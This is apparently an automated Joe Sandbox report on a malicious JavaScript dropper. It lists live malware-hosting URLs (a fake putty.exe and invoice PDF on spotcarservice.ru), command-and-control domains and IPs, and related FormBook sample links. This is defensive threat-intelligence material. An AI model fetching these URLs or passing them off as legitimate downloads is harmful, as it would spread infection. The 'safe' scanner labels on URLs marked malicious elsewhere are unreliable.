C:\Users\user\AppData\Roaming\putty.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
http://spotcarservice.ru/fdjskf88	0%	Avira URL Cloud	safe
http://spotcarservice.ru/fdjskf88cvt/invoce.pdf	0%	Avira URL Cloud	safe
http://spotcarservice.ru/fdjskf88cvt/putty.exe	0%	Avira URL Cloud	safe
http://spotcarservice.ru/fdj	0%	Avira URL Cloud	safe
http://spotcarservice.ru/fdjskf	0%	Avira URL Cloud	safe
http://spotcarservice.ru/fdjskf88cvt/invoce.pd	0%	Avira URL Cloud	safe
http://spotcarservice.ru/fdjs	0%	Avira URL Cloud	safe
http://spotcarservice.ru/fdjsk	0%	Avira URL Cloud	safe
http://schemas.microsoft	0%	Avira URL Cloud	safe
http://spotcarservice.ru/fdjskf88cvt/put	0%	Avira URL Cloud	safe
http://spotcarservice.ru/fdjskf88cvt/p	0%	Avira URL Cloud	safe
http://spotcarservice.ru/fdjskf88cvt/invoce	0%	Avira URL Cloud	safe
http://spotcarservice.ru/fdjskf88cvt/putt	0%	Avira URL Cloud	safe
http://spotcarservice.ru/fdjskf88cvt/invoce.p	0%	Avira URL Cloud	safe
http://spotcarservice.ru/fdjskf88cvt/putty.ex	0%	Avira URL Cloud	safe
http://spotcarservice.ru/fdjskf88cvt/i	0%	Avira URL Cloud	safe
http://spotcarservice.ru/fdjskf88cvt/inv	0%	Avira URL Cloud	safe
http://spotcarservice.ru/fd	0%	Avira URL Cloud	safe
http://spotcarservice.ru	0%	Avira URL Cloud	safe
http://spotcarservice.ru/fdjskf88cvt/putty	0%	Avira URL Cloud	safe
http://spotcarservice.ru/fdjskf88cvt/putty.e	0%	Avira URL Cloud	safe
http://spotcarservice.ru/fdjskf88c	0%	Avira URL Cloud	safe
http://spotcarservice.ru/fdjskf88cvt	0%	Avira URL Cloud	safe
http://spotcarservice.ru/fdjskf88cvt/invoce.	0%	Avira URL Cloud	safe
http://constractionscity1991.lat/	0%	Avira URL Cloud	safe
http://spotcarservice.ru/	0%	Avira URL Cloud	safe
http://spotcarservice.ru/fdjskf88cv	0%	Avira URL Cloud	safe
http://spotcarservice.ru/f	0%	Avira URL Cloud	safe
http://spotcarservice.ru/fdjskf88cvt/in	0%	Avira URL Cloud	safe
http://spotcarservice.r	0%	Avira URL Cloud	safe
http://spotcarservice.ru/fdjskf88cvt/invoc	0%	Avira URL Cloud	safe
http://spotcarservice.ru/fdjskf88cvt/	0%	Avira URL Cloud	safe
http://connecticutproperty.ru/	0%	Avira URL Cloud	safe
http://spotcarservice.ru/fdjskf88cvt/invo	0%	Avira URL Cloud	safe
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gMhz	0%	Avira URL Cloud	safe
http://spotcarservice.ru/fdjskf88cvt/pu	0%	Avira URL Cloud	safe
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gMhz-dark	0%	Avira URL Cloud	safe
http://spotcarservice.ru/fdjskf8	0%	Avira URL Cloud	safe
http://spotcarservice.ru/fdjskf88cvt/putty.	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false	high
constractionscity1991.lat	94.156.177.51	true	true	unknown
restructurisationservice.ru	94.156.177.51	true	true	unknown
spotcarservice.ru	94.156.177.51	true	true	unknown
connecticutproperty.ru	109.70.26.37	true	true	unknown
x1.i.lencr.org	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://spotcarservice.ru/fdjskf88cvt/invoce.pdf	true	Avira URL Cloud: safe	unknown
http://constractionscity1991.lat/	true	Avira URL Cloud: safe	unknown
http://connecticutproperty.ru/	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://spotcarservice.ru/fdjskf88cvt/invoce.pd	powershell.exe, 00000008.00000002.1395156668.000002208AA5D000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://spotcarservice.ru/fdjs	powershell.exe, 00000008.00000002.1395156668.000002208AA5D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1395156668.0000022089F99000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://spotcarservice.ru/fdjskf88cvt/putty.exe	powershell.exe, 00000008.00000002.1395156668.0000022089F99000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.msn.com:443/v1/news/Feed/Windows?	explorer.exe, 00000014.00000000.1466765592.000000000875F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000014.00000000.1463143168.000000000695E000.00000004.00000001.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/ProdV2.C:	svchost.exe, 0000000C.00000003.1377338561.0000027A8C510000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.12.dr, edb.log.12.dr	false		high
https://excel.office.com	explorer.exe, 00000014.00000000.1466765592.0000000008632000.00000004.00000001.00020000.00000000.sdmp	false		high
http://spotcarservice.ru/fdj	powershell.exe, 00000008.00000002.1395156668.000002208AA5D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1395156668.0000022089F99000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://spotcarservice.ru/fdjskf88	powershell.exe, 00000008.00000002.1395156668.000002208AA5D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1395156668.0000022089F99000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/Prod.C:	edb.log.12.dr	false		high
https://api.msn.com/v1/news/Feed/Windows?activityId=3B22F7CF85C14EF68AA6229BF5B3705E&timeOut=5000&oc	explorer.exe, 00000014.00000000.1463143168.000000000695E000.00000004.00000001.00020000.00000000.sdmp	false		high
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13pwi3	explorer.exe, 00000014.00000000.1463143168.000000000695E000.00000004.00000001.00020000.00000000.sdmp	false		high
https://nuget.org/nuget.exe	powershell.exe, 00000008.00000002.1446200967.0000022099B61000.00000004.00000800.00020000.00000000.sdmp	false		high
http://spotcarservice.ru/fdjsk	powershell.exe, 00000008.00000002.1395156668.000002208AA5D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1395156668.0000022089F99000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://activity.windows.com/UserActivity.ReadWrite.CreatedByAppexe	explorer.exe, 00000014.00000000.1466765592.00000000089B8000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.msn.com/en-us/health/medical/mayo-clinic-minute-who-benefits-from-taking-statins/ar-AA1h	explorer.exe, 00000014.00000000.1463143168.000000000695E000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.rd.com/list/best-cities-by-generation/	explorer.exe, 00000014.00000000.1463143168.000000000695E000.00000004.00000001.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000008.00000002.1395156668.0000022089AF1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13pwi3-dark	explorer.exe, 00000014.00000000.1463143168.000000000695E000.00000004.00000001.00020000.00000000.sdmp	false		high
http://spotcarservice.ru/fdjskf88cvt/put	powershell.exe, 00000008.00000002.1395156668.0000022089F99000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://assets.msn.com/weathermapdata/1/static/weather/taskbar/animation/WeatherInsights/WeatherInsi	explorer.exe, 00000014.00000000.1463143168.000000000695E000.00000004.00000001.00020000.00000000.sdmp	false		high
http://schemas.microsoft	svchost.exe, 0000000C.00000002.2584022334.0000027A870AF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.msn.com/en-us/news/us/counterpoint-individual-parents-rights-do-not-translate-to-a-licen	explorer.exe, 00000014.00000000.1463143168.000000000695E000.00000004.00000001.00020000.00000000.sdmp	false		high
http://spotcarservice.ru/fdjskf	powershell.exe, 00000008.00000002.1395156668.000002208AA5D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1395156668.0000022089F99000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://word.office.com	explorer.exe, 00000014.00000000.1466765592.00000000087FE000.00000004.00000001.00020000.00000000.sdmp	false		high
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000008.00000002.1395156668.0000022089D13000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000008.00000002.1395156668.0000022089D13000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.msn.com/en-us/money/realestate/my-husband-and-i-paid-off-our-mortgage-more-than-15-years	explorer.exe, 00000014.00000000.1463143168.000000000695E000.00000004.00000001.00020000.00000000.sdmp	false		high
https://assets.msn.com/weathermapdata/1/static/finance/1stparty/FinanceTaskbarIcons/Finance_Earnings	explorer.exe, 00000014.00000000.1463143168.000000000695E000.00000004.00000001.00020000.00000000.sdmp	false		high
https://go.micro	powershell.exe, 00000008.00000002.1395156668.000002208AA5D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/Icon	powershell.exe, 00000008.00000002.1446200967.0000022099B61000.00000004.00000800.00020000.00000000.sdmp	false		high
http://spotcarservice.ru/fdjskf88cvt/p	powershell.exe, 00000008.00000002.1395156668.0000022089F99000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://buy.live.com/	explorer.exe, 00000014.00000000.1479799385.000000000BA75000.00000004.00000001.00020000.00000000.sdmp	false		high
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13fcaT-dark	explorer.exe, 00000014.00000000.1463143168.000000000695E000.00000004.00000001.00020000.00000000.sdmp	false		high
http://crl.ver)	svchost.exe, 0000000C.00000002.2585912141.0000027A8C612000.00000004.00000020.00020000.00000000.sdmp	false		high
https://login.microsoftonline.co	explorer.exe, 00000014.00000000.1479799385.000000000BA75000.00000004.00000001.00020000.00000000.sdmp	false		high
https://windows.msn.com:443/shell?osLocale=en-GB&chosenMarketReason=ImplicitNew	explorer.exe, 00000014.00000000.1463143168.000000000695E000.00000004.00000001.00020000.00000000.sdmp	false		high
https://outlook.com	explorer.exe, 00000014.00000000.1466765592.0000000008903000.00000004.00000001.00020000.00000000.sdmp	false		high
http://spotcarservice.ru/fdjskf88cvt/i	powershell.exe, 00000008.00000002.1395156668.000002208AA5D000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://spotcarservice.ru/fdjskf88cvt/invoce.p	powershell.exe, 00000008.00000002.1395156668.000002208AA5D000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/Pester/Pester	powershell.exe, 00000008.00000002.1395156668.0000022089D13000.00000004.00000800.00020000.00000000.sdmp	false		high
http://spotcarservice.ru/fdjskf88cvt/inv	powershell.exe, 00000008.00000002.1395156668.000002208AA5D000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gMeu	explorer.exe, 00000014.00000000.1463143168.000000000695E000.00000004.00000001.00020000.00000000.sdmp	false		high
http://spotcarservice.ru/fdjskf88cvt/invoce	powershell.exe, 00000008.00000002.1395156668.000002208AA5D000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.adobe.co	ReaderMessages.10.dr	false		high
http://spotcarservice.ru/fdjskf88cvt/putt	powershell.exe, 00000008.00000002.1395156668.0000022089F99000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://spotcarservice.ru/fdjskf88cvt/putty.ex	powershell.exe, 00000008.00000002.1395156668.0000022089F99000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://spotcarservice.ru/fd	powershell.exe, 00000008.00000002.1395156668.000002208AA5D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1395156668.0000022089F99000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://android.notify.windows.com/iOS	explorer.exe, 00000014.00000000.1479799385.000000000BA75000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.msn.com/en-us/lifestyle/home-and-garden/10-vital-home-maintenance-tasks-you-ll-regret-if	explorer.exe, 00000014.00000000.1463143168.000000000695E000.00000004.00000001.00020000.00000000.sdmp	false		high
https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Condition/MostlyClearNight.svg	explorer.exe, 00000014.00000000.1463143168.000000000695E000.00000004.00000001.00020000.00000000.sdmp	false		high
http://spotcarservice.ru/fdjskf88cvt/putty	powershell.exe, 00000008.00000002.1395156668.0000022089F99000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://spotcarservice.ru	powershell.exe, 00000008.00000002.1395156668.0000022089F99000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1395156668.000002208B45D000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.msn.com/v1/news/Feed/Windows?	explorer.exe, 00000014.00000000.1466765592.000000000866C000.00000004.00000001.00020000.00000000.sdmp	false		high
http://spotcarservice.ru/fdjskf88cvt/invoce.	powershell.exe, 00000008.00000002.1395156668.000002208AA5D000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://spotcarservice.ru/fdjskf88cvt/putty.e	powershell.exe, 00000008.00000002.1395156668.0000022089F99000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://passwordreset.micros	explorer.exe, 00000014.00000000.1479799385.000000000BA75000.00000004.00000001.00020000.00000000.sdmp	false		high
http://spotcarservice.ru/fdjskf88c	powershell.exe, 00000008.00000002.1395156668.000002208AA5D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1395156668.0000022089F99000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13fcaT	explorer.exe, 00000014.00000000.1463143168.000000000695E000.00000004.00000001.00020000.00000000.sdmp	false		high
https://contoso.com/License	powershell.exe, 00000008.00000002.1446200967.0000022099B61000.00000004.00000800.00020000.00000000.sdmp	false		high
https://account.activedirectory.	explorer.exe, 00000014.00000000.1479799385.000000000BA75000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.msn.com/en-us/news/politics/kinzinger-has-theory-about-who-next-house-speaker-will-be/vi	explorer.exe, 00000014.00000000.1463143168.000000000695E000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.msn.com/en-us/money/careersandeducation/student-loan-debt-forgiveness-arrives-for-some-b	explorer.exe, 00000014.00000000.1463143168.000000000695E000.00000004.00000001.00020000.00000000.sdmp	false		high
http://schemas.micro	explorer.exe, 00000014.00000000.1460474306.00000000027F0000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000014.00000000.1465013111.0000000007320000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000014.00000000.1466202274.0000000007F70000.00000002.00000001.00040000.00000000.sdmp	false		high
https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Teaser/recordhigh.svg	explorer.exe, 00000014.00000000.1463143168.000000000695E000.00000004.00000001.00020000.00000000.sdmp	false		high
https://wns.windows.com/EM0	explorer.exe, 00000014.00000000.1479799385.000000000BA75000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.msn.com/en-us/weather/topstories/us-winter-forecast-for-the-2023-2024-season/ar-AA1hGINt	explorer.exe, 00000014.00000000.1463143168.000000000695E000.00000004.00000001.00020000.00000000.sdmp	false		high
http://spotcarservice.ru/fdjskf88cvt	powershell.exe, 00000008.00000002.1395156668.000002208AA5D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1395156668.0000022089F99000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://android.notify.windows.com/iOSdX	explorer.exe, 00000014.00000000.1479799385.000000000BA75000.00000004.00000001.00020000.00000000.sdmp	false		high
https://windows.msn.com:443/shellv2?osLocale=en-GB&chosenMarketReason=ImplicitNew	explorer.exe, 00000014.00000000.1463143168.000000000695E000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.msn.com/en-us/news/politics/vote-to-oust-mccarthy-is-a-warning-sign-for-democracy-schola	explorer.exe, 00000014.00000000.1463143168.000000000695E000.00000004.00000001.00020000.00000000.sdmp	false		high
http://spotcarservice.ru/fdjskf88cv	powershell.exe, 00000008.00000002.1395156668.000002208AA5D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1395156668.0000022089F99000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://spotcarservice.ru/	powershell.exe, 00000008.00000002.1395156668.000002208AA5D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1395156668.0000022089F99000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contoso.com/	powershell.exe, 00000008.00000002.1446200967.0000022099B61000.00000004.00000800.00020000.00000000.sdmp	false		high
https://account.li	explorer.exe, 00000014.00000000.1479799385.000000000BA75000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.msn.com/en-us/news/politics/here-s-what-house-rules-say-about-trump-serving-as-speaker-o	explorer.exe, 00000014.00000000.1463143168.000000000695E000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.msn.com/en-us/news/world/pastor-of-atlanta-based-megachurch-faces-backlash-after-controv	explorer.exe, 00000014.00000000.1463143168.000000000695E000.00000004.00000001.00020000.00000000.sdmp	false		high
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gMeu-dark	explorer.exe, 00000014.00000000.1463143168.000000000695E000.00000004.00000001.00020000.00000000.sdmp	false		high
http://spotcarservice.ru/f	powershell.exe, 00000008.00000002.1395156668.000002208AA5D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1395156668.0000022089F99000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://spotcarservice.ru/fdjskf88cvt/in	powershell.exe, 00000008.00000002.1395156668.000002208AA5D000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://spotcarservice.r	powershell.exe, 00000008.00000002.1395156668.000002208AA5D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1395156668.0000022089F99000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://nuget.org/NuGet.exe	powershell.exe, 00000008.00000002.1446200967.0000022099B61000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.11.dr	false		high
https://www.msn.com/en-us/money/personalfinance/the-no-1-phrase-people-who-are-good-at-small-talk-al	explorer.exe, 00000014.00000000.1463143168.000000000695E000.00000004.00000001.00020000.00000000.sdmp	false		high
http://spotcarservice.ru/fdjskf88cvt/invoc	powershell.exe, 00000008.00000002.1395156668.000002208AA5D000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.msn.com/en-us/news/world/ukraine-live-briefing-biden-does-worry-house-drama-will-impact-	explorer.exe, 00000014.00000000.1463143168.000000000695E000.00000004.00000001.00020000.00000000.sdmp	false		high
http://spotcarservice.ru/fdjskf88cvt/invo	powershell.exe, 00000008.00000002.1395156668.000002208AA5D000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://spotcarservice.ru/fdjskf88cvt/	powershell.exe, 00000008.00000002.1395156668.000002208AA5D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1395156668.0000022089F99000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gMhz	explorer.exe, 00000014.00000000.1463143168.000000000695E000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://spotcarservice.ru/fdjskf8	powershell.exe, 00000008.00000002.1395156668.000002208AA5D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1395156668.0000022089F99000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gMhz-dark	explorer.exe, 00000014.00000000.1463143168.000000000695E000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.msn.com/en-us/money/personalfinance/money-matters-changing-institution-of-marriage/ar-AA	explorer.exe, 00000014.00000000.1463143168.000000000695E000.00000004.00000001.00020000.00000000.sdmp	false		high
http://spotcarservice.ru/fdjskf88cvt/pu	powershell.exe, 00000008.00000002.1395156668.0000022089F99000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.msn.com/en-us/weather/topstories/california-s-reservoirs-runneth-over-in-astounding-reve	explorer.exe, 00000014.00000000.1463143168.000000000695E000.00000004.00000001.00020000.00000000.sdmp	false		high
https://tip.passwordreset.microso	explorer.exe, 00000014.00000000.1479799385.000000000BA75000.00000004.00000001.00020000.00000000.sdmp	false		high
https://powerpoint.office.comeer0	explorer.exe, 00000014.00000000.1479799385.000000000B9B0000.00000004.00000001.00020000.00000000.sdmp	false		high
http://spotcarservice.ru/fdjskf88cvt/putty.	powershell.exe, 00000008.00000002.1395156668.0000022089F99000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://oloobe.officeapps	explorer.exe, 00000014.00000000.1479799385.000000000BA75000.00000004.00000001.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
109.70.26.37	connecticutproperty.ru	Russian Federation		48287	RU-CENTERRU	true
94.156.177.51	constractionscity1991.lat	Bulgaria		43561	NET1-ASBG	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1577215
Start date and time:	2024-12-18 09:20:47 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 38s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	24
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	1
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	#U0421#U043a#U0430#U043d-#U043a#U043e#U043fi#U044f #U0414#U043e#U0433#U043e#U0432i#U0440.js renamed because original name is a hash value
Original Sample Name:	-i i.js
Detection:	MAL
Classification:	mal100.troj.expl.evad.winJS@23/57@5/3
EGA Information:	Successful, ratio: 66.7%
HCA Information:	Successful, ratio: 95% Number of executed functions: 35 Number of non-executed functions: 22
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, sppsvc.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 23.218.208.137, 162.159.61.3, 172.64.41.3, 92.122.16.236, 23.195.39.65, 199.232.210.172, 23.218.208.109, 23.32.239.56, 2.19.198.27, 13.107.246.63, 50.16.47.176, 20.12.23.50, 23.47.168.24
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Execution Graph export aborted for target powershell.exe, PID 4540 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtEnumerateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
03:21:45	API Interceptor	41x Sleep call for process: powershell.exe modified
03:21:51	API Interceptor	2x Sleep call for process: svchost.exe modified
03:22:00	API Interceptor	216551x Sleep call for process: explorer.exe modified
03:22:01	API Interceptor	2x Sleep call for process: AcroCEF.exe modified
09:22:21	Task Scheduler	Run new task: Firefox Default Browser Agent 319A514CA5AF9A63 path: C:\Users\user\AppData\Roaming\therfaa

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
109.70.26.37	W3MzrFzSF0.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	www.mrpokrovskii.pro/2pji/
	Item-RQF-9456786.exe	Get hash	malicious	Unknown	Browse	www.mrpokrovskii.pro/i6b4/
	Cmbwwkcevcglau.exe	Get hash	malicious	DBatLoader, FormBook	Browse	www.xn--d1acnfnmta.xn--p1ai/pn4e/?PVWk=f3HgyfoZyN&ya3hZ6=Axqd9uYmYp7orgQRubN12KIz0ETn9asgfk1mJK/Z6DbIFwnZ/4JiG197Yvj4xywBazNpNhV4fsXABdsflsvXc8+TStbsRm/06Q==
	Uevsumfxudvvsf.exe	Get hash	malicious	DBatLoader, FormBook	Browse	www.xn--d1acnfnmta.xn--p1ai/pn4e/
	SecuriteInfo.com.Variant.Babar.161191.3845.26747.exe	Get hash	malicious	FormBook	Browse	www.art-world.gallery/d82s/?10f=JpK121UpvTpc63rRp+gDJCCdgOsyWOtnd1+5GwkwMtQXrqOXZW8giVHgVA/EVEtRUGaZBcKLcc+iDZn9KexNjAxwg4PMjxbaWQ==&p5TzJe=IDSTB-Oy
	OUTSTANDING_PAYMENT.exe	Get hash	malicious	FormBook	Browse	www.landlotto.ru/0oqq/?ICHyvj5=zVtcFUb2erpe1riHNV8x4uTJHdjXeMKlBrPOkTLBlxKebXbCPRW4F79HIT/4WhPpl+5XC4kkcR4ywvq/sd7+lksDMuqQ2YrnfA==&qt9TW=60_ljPJoqo6d2
	031002200411_85416475.vbs	Get hash	malicious	FormBook	Browse	www.landlotto.ru/8bfi/?zWlew1c=A2R81uzLvS0WmEZs04/BP8N0Gjc/1cZcLvuM3RKwCSd5NfyML6VBFcfDSbjtAw22etViIiX2xpSo0klfeHLPYGaSbH+bfsHC3w==&OgJSC=ZGqA1YcB
	DHL.exe	Get hash	malicious	FormBook	Browse	www.landlotto.ru/0oqq/?Ruu6XZ=zVtcFUb2erpe1riHNV8x4uTJHdjXeMKlBrPOkTLBlxKebXbCPRW4F79HIT/4WhPpl+5XC4kkcR4ywvq/sd7/rH4CMublm7Haah6y5P+nmPrL&2bZBp4=SbhpRad-bNU
	Payment advise.exe	Get hash	malicious	FormBook	Browse	www.commandos-g.com/s44m/?JXr6I=0Xrb9TeaJ6QMFzil1wJub0qcCdbijbT0/wHKDC0TYNA+ECGM5nziUQ10KwMvt1kD3WoO5wOCVaMWu5wQhMioCAzLm0G93xdpHA==&Wu5p=T5ASsiZg7veLY
	Receipt.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.landlotto.ru/0oqq/?yUZlwOT5=zVtcFUb2erpe1riHMkA+/+PLDdvnZOilBrPOkTLBlxKebXbCPRW4F7hHIT/4WhPpl+5XC4kkcR4ywvq/sd7/lmwCNrvm2YvKeA==&WwsB=qH_5y

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	17345062850621022e2a034193497843f70f72ad0e2a6d5b0e23bb6cd0de4c41fac1759029833.dat-decoded.exe	Get hash	malicious	AsyncRAT, DcRat	Browse	199.232.214.172
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	199.232.210.172
	Invoice.exe	Get hash	malicious	Snake Keylogger	Browse	199.232.214.172
	Credit Card Authorization Form.pdf	Get hash	malicious	Unknown	Browse	199.232.210.172
	Configurator.exe	Get hash	malicious	Unknown	Browse	199.232.214.172
	hades.exe	Get hash	malicious	Unknown	Browse	199.232.210.172
	https://pdf-ezy.com/pdf-ezy.exe	Get hash	malicious	Unknown	Browse	199.232.214.172
	Harrisassoc_Updated_Workplace_Policies_and_Compliance_Guidelines.pdf.pdf	Get hash	malicious	HTMLPhisher	Browse	199.232.214.172
	support.Client.exe	Get hash	malicious	ScreenConnect Tool	Browse	199.232.214.172
	5.msi	Get hash	malicious	DanaBot, Nitol	Browse	199.232.214.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
